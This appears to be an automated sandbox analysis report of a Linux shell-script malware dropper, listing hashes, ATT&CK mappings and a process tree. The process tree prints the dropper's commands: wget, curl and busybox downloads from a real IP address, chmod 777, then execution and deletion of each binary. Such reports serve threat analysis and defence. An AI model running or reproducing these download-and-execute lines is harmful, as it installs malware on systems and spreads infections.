c6117916a7cc13cf2662be688e03a52c3356afe802850e1ad93e280f3287a05a

Analysis

max time kernel
166s
max time network
173s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
17/11/2024, 01:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3.sh
Size 10KB
Sample241117-bl2pcasjgp
SHA256 c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3
MD5 58ef98c4b658ab8d7caa0c8ba4a1ec33
SHA1 d48cf804d97fe833ae08e106b10ff8b0cb6b588b
SHA512 e1a8c4e64bfafcb37822b8d4b117e0b118af58c1dda6ce5e53a3a6451f80adb4eb015c8db25a86be8f3cacb3a16bab4883fde3d4335bfeb9cf3fe122ccf44137
SSDEEP 192:odpfkcsIxBxy+sCauYhJhZhcscrf4av9dpfkctxBxy+bauYhJ5cscrfg:odpfkcsfCauYhJhZBadpfkc7auYhJp
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
835	chmod
841	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw	836	bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
/tmp/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz	842	HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw	curl
File opened for modification	/tmp/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz	curl

/tmp/c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3.sh
/tmp/c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3.sh
1⤵
PID:723
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:727
- /usr/bin/wget
  wget http://216.126.231.240/bins/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  PID:834
- /bin/chmod
  chmod 777 bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  ./bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  PID:837
- /usr/bin/wget
  wget http://216.126.231.240/bins/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  PID:838
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  PID:840
- /bin/chmod
  chmod 777 HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  ./HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  PID:843
- /usr/bin/wget
  wget http://216.126.231.240/bins/BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
  2⤵
  PID:844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw

Path /tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download